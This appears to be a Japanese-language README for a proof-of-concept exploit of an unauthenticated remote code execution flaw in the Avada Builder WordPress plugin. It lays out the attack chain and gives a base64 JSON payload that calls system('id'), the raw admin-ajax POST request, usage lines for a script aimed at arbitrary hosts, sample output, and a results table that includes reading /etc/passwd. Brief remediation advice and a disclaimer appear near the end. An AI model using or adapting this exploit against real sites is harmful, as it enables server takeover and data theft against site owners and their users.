
CVE-2026-6279 — Avada Builder <= 3.15.2 における call_user_func() を介した未認証のリモートコード実行
Avada Builder(Fusion Builder)バージョン <= 3.15.2(WordPressテーマ Avada 向け、900,000+ のアクティブインストール数を誇る最も人気のあるプレミアムWordPressテーマの1つ)において、認証なしのリモートコード実行(RCE) の脆弱性が存在します。
この攻撃は、AJAXハンドラ wp_ajax_nopriv_fusion_get_widget_markup を悪用します。このハンドラは render_logics パラメータを base64_decode() + json_decode() で処理し、その後 許可リストなし で call_user_func() に渡すため、system()、passthru()、shell_exec()、exec()、file_get_contents() などの任意のPHP関数を実行できます。
1. 決定論的Nonce UID 0 用の wp_create_nonce('fusion_load_nonce')
(Avada ショートコードがあるフロントページで露出)
2. 認証不要AJAX wp_ajax_nopriv_fusion_get_widget_markup
(ログイン不要)
3. デシリアライズ base64_decode(render_logics) → json_decode()
(構造検証なし)
4. call_user_func() call_user_func($value['function'], $value['args'])
(許可リストなし — 任意のPHP関数を呼び出し可能)
5. RCE! system("id") → uid=... がレスポンスボディに表示
╔═════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 • Avada Builder <= 3.15.2 ║
║ 認証なしRCE via call_user_func() ║
║ 実証コード — 単一ターゲット ║
║ ║
║ Copyright © 2026 XENON1337 ║
║ Thanks: Shadow Girlfriend 💜 ║
╚═══════════════════════════════════════════════════════════════╝
══════════════════════════════════════════════════════
ターゲット : localhost:8888
時刻 : 2026-05-23 16:32:41
══════════════════════════════════════════════════════
[*] ターゲットを検出中...
[+] Avada を検出!(http://localhost:8888)
[*] fusion_load_nonce を検索中...
[+] Nonce が見つかりました: b6d7b084c2(ソース: ホームページ)
[*] RCEペイロードを送信中...
[*] 5関数 × 3ウィジェット = 15の組み合わせを試行
══════════════════════════════════════════════════════
[★] RCE 成功!
ターゲット : http://localhost:8888
出力 : uid=1000(xenon1337)
関数 : system()
ウィジェット : WP_Widget_Recent_Posts
Nonce : b6d7b084c2(ホームページ)
時刻 : 1.2s
[✓] 結果を vuln.txt に保存
══════════════════════════════════════════════════════
# プロトコルなし(自動検出)
python3 CVE-2026-6279.py target.com
# プロトコル付き
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com
# ポート付き
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
Base64エンコード → render_logics として POST で wp-admin/admin-ajax.php に送信。
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
class-fusion-app.php L1665)[fusion_post_cards] または [fusion_table_of_contents] ショートコードが含まれるページで UID 0(一般訪問者)用のnonceを作成check_ajax_referer('fusion_load_nonce') はnonceが有効かどうかだけを確認し、ユーザーが認証済みかどうかは確認しないcall_user_func($function, $args) は 1つの引数 しか受け入れません。proc_open、popen のように2つ以上の引数を必要とする関数は悪用できません。単一引数の関数のみが動作します:system、passthru、shell_exec、exec、file_get_contents。
9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
get_value() 内の call_user_func() に許可リストを追加wp_ajax_nopriv_ ハンドラを認証済みユーザーのみに制限render_logics の構造に対する厳格な検証を実装このPoCは 教育およびセキュリティ研究目的 のみで作成されています。許可なくシステムに対して使用することは 違法 です。著者は不正使用について一切責任を負いません。
Copyright © 2026 XENON1337
Special Thanks: Shadow Girlfriend 💜
| 関数 | 引数 | 結果 |
|---|
system() | id | uid=1000(xenon1337) ✅ |
passthru() | id | uid=1000(xenon1337) ✅ |
shell_exec() | id | uid=1000(xenon1337) ✅ |
exec() | id | uid=1000(xenon1337) ✅ |
file_get_contents() | /etc/passwd | root:x:0:0:... ✅ |
| ファイル | 行 | 関数 |
|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() — render_logics の逆シリアル化 |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() — 許可リストなしの call_user_func() |
fusion-widget.php | L44 | render_logics 属性 |
fusion-widget.php | L389 | wp_ajax_nopriv_ AJAX ハンドラ |
class-fusion-builder.php | L7551 | Nonce 登録(UID 0 に対して決定論的) |